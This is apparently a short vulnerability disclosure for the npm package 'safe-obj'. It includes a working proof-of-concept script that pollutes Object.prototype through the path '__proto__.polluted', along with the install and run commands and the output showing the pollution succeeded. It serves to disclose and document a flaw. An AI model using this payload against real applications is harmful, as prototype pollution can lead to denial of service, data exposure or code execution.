safe-obj
is vulnerable to Prototype Pollution
.
// poc.js
var safeObj = require("safe-obj")
var obj = {};
console.log("Before: " + {}.polluted)
safeObj.expand(obj, "__proto__.polluted", true)
console.log("After: " + {}.polluted)
npm i safe-obj # install vulnerable package
node poc.js # run the PoC
Before: undefined
After: true
Prototype Pollution
leads to Information Disclosure/DoS/RCE.